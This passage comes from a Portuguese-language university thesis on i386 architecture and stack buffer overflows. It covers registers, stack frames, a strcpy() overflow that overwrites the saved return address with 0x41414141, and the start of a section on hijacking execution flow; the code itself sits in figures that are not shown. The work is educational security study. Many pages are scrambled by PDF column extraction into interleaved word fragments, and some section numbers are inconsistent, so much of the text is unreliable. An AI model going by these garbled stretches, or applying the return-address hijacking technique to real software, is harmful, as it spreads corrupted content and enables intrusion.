posição de um byte e pode conter até 32 bits. 

 

2.2.2.10 String de bits 

 

  Uma seqüência contínua de bits. Uma string de bits pode  iniciar em qualquer 

posição de um byte e pode conter até 4294967295 bits. 

 

2.2.2.11 BCD 

 

  Uma  representação de 1 dígito decimal  (na  faixa de 0 a 9) na  forma de byte 

(não  compactado).  Números  decimais  não  compactados  são  armazenados  como 

quantidades de bytes não sinalizadas. Apenas 1 dígito é armazenado em cada byte. 

 

2.2.2.12 BCD compactado 

 

  Uma representação de 2 dígitos decimais (na faixa de 0 a 9) na forma de byte 

(compactado). Neste tipo, 1 dígito é armazenado em meio byte. 

Page 32: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

2.2.3

 

 

utiliz

ser a

 

 

3 Registra

A  arquit

zados por p

agrupados e

adores 

tetura  i386

programado

em três cate

Figura

6  contém 

ores. De aco

egorias: 

a 2.1: regist

um  total 

ordo  com a

tradores da 

de  dezesse

a  figura 2.1

arquitetura

eis  registra

1,  tais  regis

a i386. 

adores  que

tradores po

32 

e  são 

odem 

 

Page 33: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

33  

• Registradores  gerais:  oito  registradores  de  uso  geral  com  32  bits  cada. 

Normalmente contêm operandos para expressões lógicas e aritméticas; 

 

• Registradores  de  segmento:  seis  registradores  especiais  que  permitem  a 

escolha do modelo de organização da memória. Tais registradores determinam, 

a  qualquer  momento,  quais  segmentos  de  memória  são  atualmente 

endereçáveis; 

 

• Registradores  de  estado  e  instruções:  registradores  usados  para  gravar  e 

alterar certos aspectos de estado do processador. 

 

2.2.3.1 Registradores gerais 

 

  São registradores de 32 bits com os seguintes nomes: EAX, EBX, ECX, EDX, EBP, 

ESP,  ESI  e  EDI.  Tais  componentes  são  usados  alternadamente  para  operandos  de 

expressões lógicas e aritméticas. Eles podem ser usados, também, para operandos de 

cálculo  de  endereços  (exceto  o  ESP,  que  não  pode  ser  utilizado  como  operando 

indexador). 

 

Page 34: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

34  

  Como é possível se observar na figura 2.1, o word  inferior de cada um desses 

oito  registradores possui um nome próprio, podendo,  assim,  ser  tratado  como uma 

unidade. Esta funcionalidade é útil para tratar dados de 16 bits e para compatibilidade 

com processadores 8086 e 80286. Os nomes de tais unidades são: AX, BX, CX, DX, BP, 

SP, SI e DI. 

 

  A figura 2.1,  ilustra, também, que cada byte dos registradores AX, BX, CX e DX 

tem um nome  individual, ou seja, outra unidade em particular. Esta funcionalidade é 

importante para tratar caracteres e outros dados de 8 bits. As unidades descritas são: 

AH. BH, CH e DH (bytes superiores) e AL, BL, CL e DL (bytes inferiores). 

 

  Todos os registradores de uso geral estão disponíveis para endereçamentos e 

resultados  da  maior  parte  dos  cálculos  lógicos  e  aritméticos;  entretanto,  algumas 

funções particulares são dedicadas a certos registradores. Utilizando‐se registradores 

próprios para tais funções, é possível que a arquitetura codifique as instruções de uma 

maneira  mais  compacta.  As  instruções  que  incluem  registradores  específicos  são: 

multiplicação  e  divisão  com  dupla  precisão,  entrada  e  saída,  instruções  de  string, 

tradução, laço, deslocamento e rotação de variáveis e operações de pilha. 

 

2.2.3.2 Registradores de segmento 

 

Page 35: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

35  

  Oferecem a flexibilidade de escolha entre diversos modelos de organização da 

memória.  Embora  seja  possível  construir  um  programa  que  não  modifique  os 

registradores  de  segmento,  isto  dificilmente  é  praticado,  uma  vez  que  aplicações 

completas  normalmente  consistem  de  vários módulos  distintos,  cada  um  contendo 

suas  próprias  instruções  e  dados.  Entretanto,  no  momento  da  execução  de  um 

programa, apenas um subconjunto de módulos está em uso. A arquitetura i386 obtém 

vantagem disto  através de mecanismos que  suportam  acesso direto  às  instruções e 

dados  do  ambiente  do  módulo  atual,  acessando  segmentos  adicionais  somente 

quando necessário. 

 

  A qualquer momento, seis segmentos de memória podem estar imediatamente 

acessíveis para um programa em execução. Os registradores de segmento CS, DS, SS, 

ES, FS e GS são usados para  identificar tais segmentos. Cada um destes registradores 

especifica  um  tipo  particular  de  segmento,  categorizados  pela  associação  de 

mnemônicos  (mostrados  na  figura  2.2):  text8  ou  code9,  data10 ou  stack11.  Cada 

registrador  determina  exclusivamente  um  segmento,  sendo  possível  acessá‐los 

imediatamente com grande velocidade. 

 

                                                            8 Texto; 9 Código; 10 Dados; 11 Pilha. 

Page 36: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

cham

A  ar

conte

impli

entre

 

 

proc

para 

a me

poss

 

Fig

O segme

mado de “se

rquitetura  l

eúdo  do  p

icitamente 

e segmento

Chamada

edimentos 

uma pilha.

esma.  Ao  c

ibilitando q

gura 2.2: re

ento que co

egmento de

lê  todas  as

ponteiro  de

como  resu

os (por exem

as  de  sub

normalme

 Todas as o

contrário  do

ue pilhas se

egistradores

ontém a seq

e código atu

s  instruçõe

e  instruçõe

ultado  de  i

mplo, as inst

b‐rotinas, 

nte  necess

operações d

o  CS,  o  reg

ejam definid

s e seus segm

qüência de 

ual”; ele é e

es  a  partir 

s  como  off

nstruções  q

truções CAL

parâmetro

itam  que  u

de pilha util

gistrador  SS

das dinamic

mentos cor

instruções 

especificado

deste  segm

ffset.  O  reg

que  transfe

LL e JMP), in

s  e  o  re

uma  região

izam o regi

S  pode  ser 

camente. 

rrespondent

atualmente

o através do

mento  de 

gistrador  C

erem  o  flu

nterrupções

egistro  de 

  da memó

strador SS 

carregado 

 

tes. 

e em execu

o registrado

código  e  u

CS  é  modif

xo  de  exec

s e exceçõe

chamada

ria  seja  alo

para localiz

explicitam

36 

ção é 

or CS. 

usa  o 

ficado 

cução 

es. 

s  de 

ocada 

zarem 

mente, 

Page 37: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

37  

  Os registradores DS, ES, FS e GS permitem a especificação de quatro segmentos 

de dados,  endereçáveis pelo programa  atualmente  em  execução. A  acessibilidade  a 

quatro  áreas  de  dados  separadas  ajuda  o  programa  a  acessar  eficientemente 

diferentes tipos de estruturas de dados; por exemplo, um registrador de segmento de 

dados pode apontar para as estruturas de dados  referentes ao módulo atual, outro 

para os dados exportados de um módulo  localizado em um nível superior, outro para 

uma estrutura de dados  criada dinamicamente e outro para um  conjunto de dados 

compartilhado  com outra  tarefa. Um operando dentro de um  segmento de dados é 

endereçado através da especificação de um offset diretamente em uma  instrução ou 

indiretamente por registradores gerais. 

 

  Dependendo da estrutura de dados  (por exemplo, a maneira  como os dados 

são divididos em um ou mais segmentos), um programa pode precisar acessar mais do 

que quatro segmentos de dados. Para acessar segmentos adicionais, os registradores 

DS,  ES,  FS  e  GS  podem  ser  modificados  de  acordo  com  o  fluxo  de  execução  do 

programa.  Isto  simplesmente necessita que o  programa  execute uma  instrução que 

carregue  o  registrador  de  segmento  apropriado  antes  de  executar  instruções  que 

acessem os dados. 

 

  O processador associa um endereço‐base a cada segmento selecionado por um 

registrador de segmento. Para endereçar um elemento contido em um segmento, um 

offset de 32 bits é somado ao endereço‐base do segmento. Uma vez que o segmento é 

Page 38: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

38  

selecionado (carregando o seletor de segmento em um registrador de segmento), uma 

instrução responsável por manipular dados só precisa especificar o offset. 

 

2.2.3.3 Implementação da pilha 

 

  As operações de pilha são gerenciadas por três registradores: 

 

• SS:  é  usado  automaticamente  pelo  processador  em  todas  as  operações  de 

pilha; 

 

• ESP:  aponta  para  o  topo  da  pilha.  É  referenciado  implicitamente  pelas 

instruções  PUSH  e  POP,  chamadas  de  sub‐rotinas  e  retornos,  além  de 

operações de  interrupção. Quando um  item é colocado na pilha (figura 2.3), o 

processador decrementa o ESP e escreve o mesmo no novo topo. Quando um 

item é retirado da pilha, o processador copia o mesmo do topo e incrementa o 

ESP. Em outras palavras, a pilha  cresce para baixo na memória em direção a 

endereços menores; 

 

• EBP: é a melhor escolha para o acesso a estruturas de dados, variáveis e áreas 

alocadas dinamicamente dentro da pilha. O registrador EBP é freqüentemente 

Page 39: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

2.2.3

 

 

certa

do m

usado p

atual top

offset, e

segment

do regist

instruçõ

segment

3.4 Regist

É um  reg

as operaçõe

mesmo. 

ara acessar

po. Quando

ste último é

to atualmen

trador SS nã

es nesses c

tos endereç

Figura 

trador de 

gistrador d

es e  indica 

r elementos

o é utilizado

é calculado

nte selecion

ão precisar 

asos é mais

çáveis atrav

2.3: represe

sinalizaçã

e 32 bits ch

o estado d

s na pilha  r

o como reg

 automatica

nado pelo r

ser explicit

s eficiente. 

vés de outro

entação grá

ão 

hamado EF

o processad

relativos a

istrador de

amente no 

registrador 

tamente esp

Também p

os registrado

áfica de um

FLAGS. É  res

dor. A figur

um ponto 

 base para 

segmento 

SS, por exe

pecificado, 

ode ser usa

ores de seg

a pilha. 

sponsável p

ra 2.4  ilustr

fixo ao  invé

o cálculo d

de pilha atu

emplo). Pelo

a codificaçã

ado para ind

gmento. 

pelo contro

ra os bits d

39 

és do 

de um 

ual (o 

o fato 

ão de 

dexar 

 

ole de 

entro 

Page 40: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

trata

comp

ao re

 

2.2.3

 

 

de u

os bi

(com

F

O conjun

ado  como 

pilados par

egistrador F

3.4.1 Sina

Os sinali

ma  instruçã

its OF, SF, Z

mparação  d

Figura 2.4: 

nto dos 16 

uma  unida

a os proces

FLAGS dos p

alizadores

zadores de

ão  influenc

ZF, AF, PF e

e  strings) 

representaç

bits  inferio

ade.  Tal  f

ssadores 80

processador

 de estado

e estado do 

ciem  instruç

e CF.  Já as 

e  LOOP  (l

ção gráfica 

ores do EFL

uncionalida

086 e 80286

res citados.

registrado

ções poster

instruções 

aço)  utiliza

do registra

LAGS é cham

ade  é  útil 

6, uma vez 

r EFLAGS p

riores. As  in

SCAS  (map

am  o  bit  Z

ador EFLAGS

mado de FL

na  execuç

que tal un

ermitem qu

nstruções a

peamento d

ZF  para  sin

S. 

LAGS e pod

ção  de  có

idade é  idê

ue os result

aritméticas 

de string), C

nalizar  que 

40 

 

de ser 

ódigos 

êntica 

tados 

usam 

CMPS 

suas 

Page 41: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

41  

operações estão completas. Existem instruções para definir, limpar e complementar o 

bit CF antes da execução de uma instrução aritmética. 

 

2.2.3.4.2 Sinalizador de controle 

 

  O  sinalizador  de  controle  DF  do  registrador  EFLAGS  gerencia  instruções  de 

strings  através  do  bit DF  (sinalizador  de  direção). Ao  definir  o DF,  as  instruções  de 

strings  são automaticamente decrementadas, ou  seja, o processamento de  strings é 

realizado  a  partir  de  endereços  maiores  até  os  menores.  Já  a  operação  inversa, 

limpando‐se  o DF,  indica  que  as  operações  de  strings  devem  ser  automaticamente 

incrementadas, ou seja, o oposto da situação anterior. 

 

3.2.3.5 Ponteiro de instrução 

 

  Também chamado de EIP, contém o endereço em offset  (relativo ao  início do 

segmento de código atual) da próxima instrução a ser executada. Este registrador não 

é  diretamente  visível  ao  programador;  ele  é  modificado  implicitamente  como 

resultado  de  instruções  que  transferem  o  fluxo  de  execução  entre  segmentos  (por 

exemplo, as instruções CALL e JMP), interrupções e exceções. 

 

Page 42: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

cham

exec

 

Como  m

mado de  IP 

ução de cód

mostrado  n

e  pode  se

digos comp

Figura 2.5

a  figura  2.

er  tratado  c

pilados para

5: represent

.5,  o  conju

como uma 

 os process

tação gráfic

unto  dos  1

unidade.  T

adores 808

ca do regist

6  bits  infe

Tal  funciona

6 e 80286. 

trador EIP. 

riores  do 

alidade  é ú

42 

EIP  é 

til  na 

 

Page 43: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

43  

3 STACK OVERFLOWS 

 

  Em  muitas  implementações  da  linguagem  de  programação  C,  é  possível 

corromper  a  pilha  de  execução  escrevendo‐se  além  do  buffer12 declarado  em  uma 

rotina. Um programa que faz isto “quebra” a pilha e dá brecha para que o retorno da 

rotina siga um novo fluxo localizado em um endereço qualquer. 

 

3.1 Organização dos processos na memória 

 

  Para  entender  o  que  é uma  pilha, primeiramente  é  necessário  compreender 

como um processo é organizado na memória. Como já visto, os processos são divididos 

em  três  regiões:  texto,  dados  e  pilha.  Embora  o  foco  seja  a  última  região,  faz‐se 

necessário uma recapitulação das duas primeiras. A figura 3.1 ilustra as três regiões de 

um processo carregado na memória, onde é particularmente  importante notar que a 

região da pilha possui os endereços mais altos, assim como a região do texto possui os 

mais baixos. 

 

                                                            12 Na Ciência da Computação, buffer é uma  região de memória  temporária utilizada para escrita e  leitura de dados. Os dados podem ser originados de dispositivos (ou processos) externos ou  internos ao sistema. Os buffers podem ser  implementados em software (mais usado) ou hardware. Normalmente são utilizados quando existe uma diferença entre a taxa em que os dados são recebidos e a taxa em que eles podem ser processados, ou no caso em que essas taxas são variáveis. (Wikipédia, 2007). 

Page 44: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

3.1.

 

marc

regiã

 

Fig

1 Texto 

É  fixada 

cados  como

ão resultará

gura 3.1: as 

pelo própr

o  somente 

 em uma fa

regiões de 

rio program

leitura. No

alha de segm

um process

ma e  incluem

ormalmente

mentação.

so carregad

m, além de 

e  qualquer 

 

do na memó

código  (ins

tentativa  d

ória. 

struções), d

de  escrita 

44 

dados 

nesta 

Page 45: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

45  

3.1.2 Dados 

 

Contêm  dados  inicializados  e  não  inicializados.  Variáveis  estáticas  são 

armazenadas nesta região. Seu tamanho pode ser mudado com a função “brk()”. Se a 

expansão da região de dados ou da pilha do usuário esgotar a memória disponível, o 

processo  é  bloqueado  e  é  re‐agendado  para  rodar  novamente  com  uma  área  de 

memória maior. A nova memória é adicionada entre os segmentos de dados e pilha. 

 

3.1.3 Pilha 

 

3.1.3.1 Definição 

 

  É  um  tipo  abstrato  de  dado  freqüentemente  utilizado  na  computação. Uma 

pilha  tem  a  propriedade  de  que  o  último  objeto  colocado  será  o  primeiro  a  ser 

retirado. Esta propriedade é comumente referida como LIFO13. 

 

  Muitas operações são baseadas em pilhas. As duas mais importantes são: PUSH 

e  POP.  A  primeira  adiciona  um  elemento  no  topo  da  pilha.  Já  a  segunda,  em 

                                                            13 Last In, First Out. 

Page 46: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

46  

contrapartida,  reduz  o  tamanho  da mesma  ao  remover  o  último  elemento  que  foi 

adicionado a ela. 

 

3.1.3.2 Uso 

 

  Computadores modernos  são  desenvolvidos  com  a  perspectiva  de  facilitar  a 

programação através do uso de  linguagens de alto nível. A  técnica mais  importante 

para estruturar programas,  introduzida pelas  linguagens de alto nível, é chamada de 

“procedimento”  ou  “função”.  Uma  chamada  de  procedimento  altera  o  fluxo  de 

execução exatamente como a instrução JMP faz, mas, ao contrário da mesma, quando 

terminada a  tarefa a ser realizada pela chamada, a  função retorna o controle para a 

expressão ou instrução seguinte. Este tipo de abstração de alto nível é implementado 

com a ajuda de uma pilha. 

 

  A  pilha  é  usada,  também,  para  alocar  dinamicamente  variáveis  locais 

declaradas em funções, para a passagem de parâmetros e para valores de retorno. 

 

3.1.3.3 Região 

 

Page 47: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

47  

  Uma pilha é um bloco de memória contínuo que contém dados. O registrador 

ESP aponta para o topo da pilha. O fundo da pilha está contido em um endereço fixo. 

Seu  tamanho  é  dinamicamente  ajustado  pelo  kernel14 em  runtime.  O  processador 

implementa instruções para inserir (PUSH) e remover (POP) objetos da pilha. 

 

  A pilha consiste em  locações  lógicas que são  incrementadas e decrementadas 

quando uma  função  é  chamada e quando  a mesma  retorna,  respectivamente. Uma 

locação de pilha  contém os parâmetros para uma  função,  suas  variáveis  locais e os 

dados necessários para a recuperação do estado anterior da pilha, incluindo o valor do 

ponteiro de instrução EIP no momento da chamada da função. 

 

  Dependendo da  implementação, a pilha vai  crescer para baixo  (em direção a 

endereços  mais  baixos)  ou  para  cima  (o  inverso).  A  pilha  implementada  pela 

arquitetura x86 cresce para baixo, assim como na SPARC, MIPS e em muitas outras. O 

ESP também é dependente da arquitetura. Ele pode apontar para o último endereço 

em uso ou para o próximo  livre da pilha. Na  arquitetura utilizada neste  trabalho, o 

apontador da pilha indica o último endereço contido na mesma. 

 

  Em  conjunto  ao  ESP,  freqüentemente  é  conveniente  ter  um  apontador  de 

locação  (EBP)  para  indicar  um  endereço  fixo  dentro  de  uma  locação.  A  princípio, 

variáveis  locais  podem  ser  referenciadas  fornecendo  seus  offsets  a  partir  do  ESP. 

                                                            14 Núcleo do sistema operacional. 

Page 48: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

48  

Entretanto, como dados são inseridos e removidos da pilha, tais offsets mudam. Ainda 

que em alguns  casos o  compilador possa manter um histórico do número de dados 

contidos na pilha e, assim, corrigir os offsets afetados, algumas vezes ele simplesmente 

não pode, sendo que nos dois casos uma  intervenção considerável é requerida. Além 

disto,  em  alguns  sistemas,  tais  como  processadores  baseados  na  arquitetura  x86, 

acessar  uma  variável  em  uma  distância  conhecida  a  partir  do  ESP  requer múltiplas 

instruções. 

 

  Conseqüentemente, muitos compiladores utilizam um segundo registrador – o 

EBP – para  referenciar  tanto variáveis  locais quanto parâmetros,  justamente porque 

suas distâncias em relação ao mesmo não mudam quando a pilha é movimentada. Em 

virtude  de  como  a  pilha  da  arquitetura  i386  cresce,  parâmetros  possuem  offsets 

positivos e variáveis locais negativos. 

 

  O  primeiro  passo  executado  quando  há  a  chamada  de  um  procedimento,  é 

salvar o EBP anterior  (para ele poder ser  recuperado após o  retorno da  função). Em 

seguida, copia‐se o ESP para o EBP para definir o novo EBP, incrementando o ponteiro 

ESP de acordo com o espaço ocupado pelas variáveis locais. O código que realiza esta 

tarefa é chamado de “prólogo de uma função”. Antes de o procedimento retornar, a 

pilha precisa ser  limpa novamente, ou seja, o ESP e o EBP são restaurados para seus 

valores anteriores à execução da  função. Esta etapa é chamada de “epílogo de uma 

função”. 

Page 49: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

nece

 

 

 

preci

de m

figur

 

 

É  possív

essidade do 

F

Para  ent

iso compila

máquina. A c

a 3.3. 

vel  analisar 

uso de uma

Figura 3.2: p

tender  o  q

ar o mesmo

chamada da

as  instruç

a pilha, com

programa q

que  o  progr

o com a opç

a função “e

ões  execut

mo mostra o

ue utiliza um

rama  faz  p

ção “‐S” do 

xemplo()” é

tadas  pelo 

o programa 

ma pilha em

para  chama

GCC a fim 

é traduzida 

processado

da figura 3

 

m baixo níve

ar  a  função

de gerar a 

para o cód

or  quando 

.2. 

el. 

o  “exemplo

saída em có

igo mostrad

49 

há  a 

()”,  é 

ódigo 

do na 

Page 50: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

argu

instr

pilha

prim

proc

 

 

 

cópia

estud

espa

Figur

Ainda an

mentos pas

ução CALL 

a  será  cham

eiro  aspec

edimento, c

No códig

a do ESP atu

do, o apont

ço para as 

ra 3.3: códig

nalisando a 

ssados à fu

também  irá

mado,  dest

cto  a  ser 

como most

Figur

go da  figura

ual para o E

tador de loc

variáveis lo

go produzid

figura 3.3, 

nção (em o

á  inserir o 

te  ponto  e

considerad

ra a figura 3

ra 3.4: prólo

a 3.4, prim

EBP, fazendo

cação salvo 

ocais subtra

do na cham

nota‐se que

ordem  inver

EIP na pilh

em  diante, 

do  na  exe

3.4. 

ogo da funç

eiramente 

o‐o ser o no

será chama

aindo‐se seu

ada da funç

e o process

rsa) e realiz

a. Para  fins

de  “RET” 

ecução  da 

ção “exemp

insere‐e o 

ovo apontad

ado de “SEB

us tamanho

 

ção “exemp

sador insere

za a chama

s de estudo

(endereço 

função  é 

 

plo()”. 

EBP na pilh

dor de loca

BP”. Em seg

os do ESP. E

plo()”. 

e na pilha o

da da mesm

o, o EIP salv

de  retorn

o  prólogo

ha. Depois,

ção. Para fi

guida, reser

Embora não

50 

s três 

ma. A 

vo na 

o).  O 

o  do 

 há a 

ns de 

rva‐se 

o seja 

Page 51: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

retra

depo

 

 

tama

assim

de 1

resta

e  ve

“exe

 

 

3.1.3

 

atado  na  fi

ois, o retorn

É import

anho de um

m, o buffer 

0 vai consu

ante (outros

ersão  utiliz

mplo()”, a p

Figura 

3.4 Falha 

igura,  poste

no (instruçã

tante lembr

m word, qu

de 5 bytes 

umir 12. É 

s 20 bytes) 

zados.  Bas

pilha estará

 3.5: estado

teórica 

eriormente

o RET) da m

rar que a m

e, no  caso 

vai consum

por  isso qu

que está se

seando‐se 

 no estado 

o da pilha q

e  há  o  epíl

mesma. 

memória só 

da arquite

mir 8 bytes d

ue o ESP é 

endo subtra

nisto,  no 

mostrado p

uando a fun

logo  (instru

pode ser en

etura estuda

de memória

subtraído d

aído varia de

momento 

pela figura 3

nção “exem

ução  LEAVE

ndereçada 

ada, possui

a, da mesm

de pelo me

e acordo co

da  cham

3.5. 

mplo()” é cha

E)  da  funçã

em múltipl

i 4 bytes. S

a maneira q

enos 20 byt

om o compi

ada  da  fu

amada. 

51 

ão  e, 

os do 

Sendo 

que o 

tes. O 

ilador 

unção 

 

Page 52: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

buffe

orga

pela 

 

 

 

prog

cópia

outra

arma

funçã

Um stac

er pode  tra

nização é a

figura 3.6. 

Fig

Tem‐se, 

rama criado

a  de  strings

a,  porém  n

azenar. Uma

ão  “strcpy(

ck overflow 

tar. Como 

lgo que ser

gura 3.6: pro

como  ilust

o. A função

s,  chamada

não  há  qua

a maneira c

()”  pela  “st

é o resulta

isto  repres

rá demonstr

ograma com

trado  na  fi

o “exemplo

a  “strcpy()”

alquer  verif

correta de s

trncpy()”,  p

ado de uma

senta um p

rado atravé

m função vu

gura  3.6,  u

()” executa

.  Tal  funçã

ficação  do 

se evitar o p

pois  esta  ú

a  inserção m

roblema  cr

és de peque

ulnerável a s

um  caso  tí

,  intername

o  realiza  a

limite  que 

problema, n

última  apen

maior de da

rítico na  seg

enos exemp

 

stack overfl

pico  de  sta

ente, uma o

  cópia  de 

a  string  d

neste caso, s

nas  permite

ados do qu

gurança de

plos, inician

low. 

ack  overflo

outra funçã

uma  string 

de  destino 

seria substi

e  que  um 

52 

e um 

e uma 

do‐se 

w  no 

ão, de 

para 

pode 

tuir a 

certo 

Page 53: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

núm

para 

seja, 

poss

nega

infor

 

 

pont

“exe

 

Fig

 

 

prob

ero de byte

determina

antes da fu

ui, pelo me

ativo,  a  fun

rmando o p

Ao  exec

to  que  o  p

mplo()”, tem

gura 3.7: est

Até nest

blema de ex

es  seja  cop

do caso, po

unção “strc

enos, 256 b

nção  “exem

roblema a q

utar  o  prog

roblema  ve

m a aparên

tado da pilh

te ponto, a 

xecução. Po

piado. No  c

oderia ser re

cpy()” dever

ytes (taman

mplo()”  dev

quem a cha

grama  criad

em  à  tona.

cia mostrad

ha, na cham

pilha estav

orém, como

aso de não

ealizada um

ria haver alg

nho aponta

veria  ser  a

mou. 

do,  tem‐se 

.  A  pilha,  n

da pela figu

mada da fun

va em seu e

o há uma te

o haver um

ma verificaç

gum código

ado pelo po

bortada  co

uma  falha

no momen

ra 3.7. 

ção “exemp

estado norm

entativa de 

ma  função  s

ão manual 

o que confe

onteiro “ent

om  algum 

a  de  segme

to  da  cham

plo()”, antes

mal, não ha

inserir – at

egura espe

do tamanh

erisse se o b

trada”). Em

código  de 

entação.  É 

mada  da  fu

 

s da “strcpy

avendo qua

través da fu

53 

ecífica 

ho, ou 

buffer 

m caso 

erro, 

neste 

unção 

y()”. 

alquer 

unção 

Page 54: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

“strc

estou

 

 

um  b

buffe

pont

carac

retor

próx

norm

ende

pela 

apar

 

cpy()” – uma

uro e partes

Em outra

buffer  que 

er  estão  se

teiro  “entra

ctere  “A”, 

rno, agora s

ima  instruç

malmente. 

ereço 0x414

qual  ocorr

ência retrat

Figur

a quantidad

s da memó

as palavras

pode  cont

endo  sobres

ada”. Como

que  possu

sobrescrito,

ção  a  ser 

Porém,  ne

414141  (for

re  uma  falh

tada pela fig

ra 3.8: estad

de de bytes

ria que dev

s, o código 

er  somente

scritos.  Isto

o o buffer  i

ui  represen

, será 0x414

executada 

este  novo 

ra da  área 

ha  de  segm

gura 3.8. 

do da pilha

muito maio

eriam ser so

exposto na

e  16.  Sendo

o  inclui  o  S

nterno  à  fu

tação  hexa

414141. Qu

é  lida  e 

cenário,  a

de endere

mentação.  A

após o reto

or do que o

omente leit

a  figura 3.6 

o  assim,  os

SEBP,  o  RE

unção  “mai

adecimal  0x

uando a fun

o  fluxo  de

a  próxima 

ços do pro

A  pilha,  de

orno da funç

o buffer pod

tura, são so

tenta copia

s  240  bytes

ET  e  até m

in()”  foi pre

x41,  o  nov

nção “exem

e  execução

instrução 

cesso),  sen

epois  do  es

ção “exemp

de conter, h

brescritas. 

ar 256 byte

s  posteriore

esmo  o  pr

eenchido  c

vo  endereç

plo()” retor

o  deveria  s

encontra‐s

ndo esta  a 

stouro,  pos

 

plo()”. 

54 

há um 

es em 

es  ao 

róprio 

om o 

ço  de 

rna, a 

seguir 

e  no 

razão 

ssui  a 

Page 55: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

em S

sobre

 

3.1.3

 

 

o flu

exem

 

É notáve

SEBP, RET e 

escritos por

3.5 Explor

Então, at

xo de exec

mplo, consid

el o problem

no ponteir

r uma seqüê

rando 

través dos e

ução de um

derando‐se 

Figu

ma acarreta

ro “entrada”

ência do ca

exemplos d

m programa

o código da

ura 3.9: cód

ado pelo est

” foram tot

ractere “A”

demonstrad

a, ou seja, m

a figura 3.9.

digo da figur

touro da pi

talmente pe

”. 

os, fica evid

manipular o

ra 3.6 altera

lha. Os end

erdidos, um

dente que é

o endereço 

 

ado. 

dereços con

ma vez que f

é possível m

 de retorno

55 

ntidos 

foram 

mudar 

o. Por 

Page 56: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

visua

parte

para 

 

F

 

 

depu

envo

pelo 

seu 

prop

 

 

de at

em 

Depois  d

alizar suas i

e do resulta

abrir, espe

Figura 3.10: 

É  impor

urador,  uma

olvidos  na  e

compilado

estado  pur

priamente a

Observa

tribuição pa

decimal).  A

de  compila

nstruções e

ado exposto

cificamente

resultado d

tante  ressa

a  vez  que 

execução.  S

r (através d

ro,  ou  seja,

locadas. 

ndo‐se a  lin

ara a variáv

Ainda  na  f

r  o  código

em Assembl

o na figura 

e, o código 

do “disassem

altar  que  a

a mesma  d

Se  fosse  ge

da opção “‐

,  sem  ende

nha 11 da f

vel “i” (linha

figura  3.10

  da  figura 

ly através d

3.10, utiliz

da função “

mble main” 

a  análise  só

depende  do

erado  apena

S” do GCC)

ereços  de m

figura 3.10,

a 19 da figu
